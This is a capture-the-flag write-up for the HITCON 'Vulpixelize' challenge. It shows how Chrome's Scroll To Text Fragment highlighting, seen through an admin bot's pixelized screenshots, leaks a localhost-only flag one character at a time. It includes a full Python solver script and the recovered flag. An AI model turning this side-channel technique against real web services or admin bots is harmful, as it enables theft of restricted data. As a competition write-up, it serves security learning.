Vulpixelize
Writeup
In this challenge –
we are given docker webserver with
the following files:
1. Dockerfile
2. Simple Flask
webserver with the following endpoints –
a. GET /
b. GET /submit
c. GET /flag
3. Selenium
admin that initializes chrome-driver for automations
From the code it's easy to
understand that we have :
1. We can
submit URL for the admin to inspect
2. The flag
is accessible only for admin from localhost:
@app.route('/flag')
def flag():
if
request.remote_addr == '127.0.0.1':
return
message(FLAG)
return
message("allow only from local")
3. When admin (the selenium' chrome-driver) gets our url it inspects it & return us pixelized snapshot of the resulting web-page, For Example, if we gave him https://linkedin.com:
The picture is pixelized and sensitive
data is actually omitted ☹
Attack Surface & Ideas
We would like to get the flag of-course,
for that, let's just make the admin GET /flag, right?
Placing http://localhost:8000/flag (which is the
open port in the localhost domain) we receive:
Yes yes!! That flag is here! But
wait a second, it's pixelized so we can't really see a thing, damn…
Ideas:
1. Put it
inside an iframe, make the font of sub-iframe bigger / rescale iframe / zoom
into it somehow.
a. Style seemed
to doesn’t affect, both the style of parent html / and the style setup for the
iframe
itself didn't really seemed to be that helpful.. merd..
2. XSS in the
localhost:8000 website would work for sure, just need to find some way I guess?
a. No
template/other simplest xss injections seems like falsk was used correctly..
Scroll To Text Fragments
But, wait a second – let's STTF
it up!
Scroll To Text Fragements – https://chromestatus.com/feature/4733392803332096:
1. In chrome,
whenever link ends with #:~:text=<TEXT>
2. The TEXT quoted will be markered-up inside the page itself!
For example –You can now see the marked up
text in the wiki page, this is the text fragment placed after "text="
in the browser address bar.
Now, before you continue to read
– try to think how to break that challenge with that?
Hint – The flag format given to
us is: hitcon{HEXCHAR-
HEXCHAR…- HEXCHAR}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Oh yes –
1. We know that the flag will be something like this – "hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}"
2. Now, let's place the following url and give it to admin –http://localhost:8000/flag#:~:text=hitcon{
Yes
it is, we can see here our flag marked!
The
next thing we can do is the following:
1. We can try
"letter by letter" approach to get the flag.
2. Try "hitcon{1",
"hitcon{2", "hitcon{3", … until matched.
3. Add char
found to the prefix looked for and try again with the next letter, aka "hitcon{1-"..
This solved the challenge completely,
using only STTF, no XSS or any other vuln. Cool 😊
Source-code:
import requests
import urllib.parse
import re
from PIL import Image
base_path = 'http://3.113.172.41:27196/'
url = '/submit?url=http%3A%2F%2Flocalhost%3A8000%2Fflag%23%3A~%3Atext%3D{TRY}'
# Run query
MD5_LEN = 32
HEX_CHARS =
'0123456789abcdef'
cur_chars =
'hitcon{'
for i in range(MD5_LEN):
pic_path = 'test.png'
got_char = None
for c in HEX_CHARS:
cur_try = urllib.parse.quote(cur_chars
+ c)
print(base_path + url.format(TRY=cur_try))
r = requests.get(base_path +
url.format(TRY=cur_try))
if 'static/images' not in r.text:
print('[+] Didn\'t got any picture for %s' % cur_try)
continue
# Get response picture -
regexp = 'static/images/[0-9a-z]*\.png'
regres = re.findall(regexp, r.text)
if not regres:
print('[+] Didn\'t got any picture for %s, by
the regexp - ' % cur_try)
continue
pic_url = base_path + '/' + regres[0]
r = requests.get(pic_url)
if not r.content:
print('[+] Couldnt get the
picture... ', pic_url)
continue
open(pic_path, 'wb').write(r.content)
img = Image.open(pic_path)
# If brightness is big enough -
then we were markered up and we were kinda correct.
if (img.getpixel((467, 336))[0] >= 200):
print('Found the next char! ', c)
got_char = c
break
if not got_char:
print('Didn\'t found any char...
exiting...')
break
else:
cur_chars += got_char + '-'
print(cur_chars)
And The Flag:
hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}